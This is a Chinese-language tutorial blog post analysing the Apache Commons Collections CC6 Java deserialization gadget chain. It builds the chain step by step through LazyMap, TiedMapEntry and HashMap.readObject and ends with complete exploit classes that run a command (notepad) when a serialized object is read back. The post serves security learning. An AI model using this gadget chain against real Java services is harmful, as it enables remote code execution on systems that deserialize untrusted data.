java反序列化 cc链6 分析

前言

这里分析完cc1的两个以后,白日梦佬又介绍了cc6链,最主要的是这个链子不受jdk的版本影响,甚至不受cs版本的影响,这么说就是cs大部分都是可以使用cc链6,而且这个链子要简洁的很多,我一听这个好啊,哈哈哈。

但是后面我感觉自己被欺骗了65出了一点问题。

环境搭建

这里可以参考上面cc1链

java反序列化 cc链1 分析

链子分析 

利用第一阶段

这里就直接跨到这里了,不知道的可以看看上面的cc链1,里面有说

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),  
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),  
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
}; 
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

这里我们还是使用LazyMap的get方法来往上爬,首先我们要知道既然有了可以恶意代码执行的地方,我们就还需要可以走上去的地方,这里还是需要具有transfrom方法的类,但是这时候目标就变了,我们需要的是能够触发transfrom的类。

这里我们随便找一个transform方法,右键选择查找用法

上面我们使用了TransformedMap,但是他不只可以使用这个,这里还可以使用LazyMap类,这里通过F4直接查看

这里的意思就是,检测map中的键值有没有包含我们传入的这个key,如果没有就会进入判断,生成一个value,写进去一个键值对

这里来到上面我们可以看到,这里构造函数,我们可以任意控制factory的值,但是这里是一个受保护的方法,只能本类调用,这里往上看看。

这里我们发现,我们可以通过使用decorate方法,来控制factory的值

这里我们测试一下上面的思路对不对,因为上面的我们已经搞过一条链子了,这里我们就直接使用ChainedTransformer了,这里我们给get方法随便传入一个值,这个hash中肯定是没有key这个键值的,这里我看到了果然是触发了记事本,自己可以试试。

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> hash = new HashMap<>();
Map decorate = LazyMap.decorate(hash, chainedTransformer);
decorate.get("key");

利用第二阶段-TiedMapEntry

接下来我们查看到org.apache.commons.collections.keyvalue.TiedMapEntry中

 

这里我们看到他的getValue方法

 这里我们发现,他是触发了get方法,这里往上看看map的值我们能控制吗。

这里在上面看到了,这个类构造函数,这里我们可以看到map的值,我们是可以任意控制,那么接下来看看那里是触发了getValue方法

这里我们在下面的hashCode方法中看到,他是触发了getValue方法,但是一看到这个hashCode是不是就想到URLDNS链,这两个有着异曲同工之妙,所以说它才可以更好利用,忘记的可以看看URLDNS链
下面我们先手动触发一下看看

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),   
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),  
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> hash = new HashMap<>();
Map decorate = LazyMap.decorate(hash, chainedTransformer);  

TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,null);
tiedMapEntry.hashCode();

利用第三阶段-HashMap

接下来就是如何触发hashCode方法,说实在一说到这个,相信大家一定都可以想到HashMap吧,我们可以按照触发URLDNS链子一样触发他。

这里我们看到HashMap的源码,在hash方法这里,我们看到他是触发了hashCode方法,这里的是一个三元运算符,只要我们传进来的值不是null或者是空,他就会触发hashCode方法,还是挺好实现的。

从这里HashMap的readObject方法中,我们可以看到他是触发了hash方法,key值我们是可以控制的。

这里其实链子已经好了,很简便对吧,和前面两个相对而言真的已经非常简单了。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Cc6 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //定义一系列Transformer对象,组成一个变换链
        Transformer[] transformers = new Transformer[]{
                //返回Runtime.class
                new ConstantTransformer(Runtime.class),
                //通过反射调用getRuntime()方法获取Runtime对象
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                //通过反射调用invoke()方法
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                //通过反射调用exec()方法启动notepad
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
        };
        //将多个Transformer对象组合成一个链
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hash = new HashMap<>();
        Map decorate = LazyMap.decorate(hash, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"bbb");
        HashMap hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"aaa");

        serialize(hashMap);
        unserialize("1.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }

}

利用第四阶段

问题:上面使用这串exp的应该都发现,他是执行了1次,但不是反序列化的时候执行,而且是在序列化的时候执行,单独执行反序列化就会发现,他也会执行一次记事本,但是为什么反序列化和序列化放到一起就只能执行一次呢?

这里就是说他有这和URLDNS链相似的问题,但是说好像也不是不能用。

跟进HashMap对象的put方法

这里我们发现,他也是调用了hash方法,这里我们可以修改上面东西,让他触发链子不完整,就不会执行恶意代码了,在通过反射在进入序列化之前,将链子补完整

这里我们将上面的链子,我们将上面的链子断掉,在最后的时候在修改回来,按照正常来说,这个是没有问题,但是之后发现是没有运行了,这里分析一下

在他进入的时候,因为他是没有key的,所以肯定是可以进入判断的,然后触发transform方法,但是她下面还有一个put方法,就是将这个没有的写进去,所以我们再进行反序列化的时候,他会检测我们传进来的key有没有,这里肯定是有的因为他put已经写进来了,所以我们要将他删除。

//完整exp

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Cc6 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        //定义一系列Transformer对象,组成一个变换链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
        };
        //将多个Transformer对象组合成一个链
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hash = new HashMap<>();
        Map<Object,Object> ladecorate = LazyMap.decorate(hash, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(ladecorate,"aaa");
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry,"bbb");
        hash.remove("aaa");

        Class c = LazyMap.class;
        Field declaredField = c.getDeclaredField("factory");
        declaredField.setAccessible(true);
        declaredField.set(ladecorate,chainedTransformer);

        serialize(hashMap);
        unserialize("1.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }

}

结语

感觉第三阶段的,也可以用吧,不是不能接收对吧,然后我再调试的时候确实遇到一些问题,其中有的玄学问题到现在都没有解决,但是有一个是解决了

关于IDEA在debug时私自调用toString()方法的问题_idea怎么调用tostring方法_lkforce的博客-CSDN博客

 

猜你喜欢

转载自blog.csdn.net/m0_64815693/article/details/130295982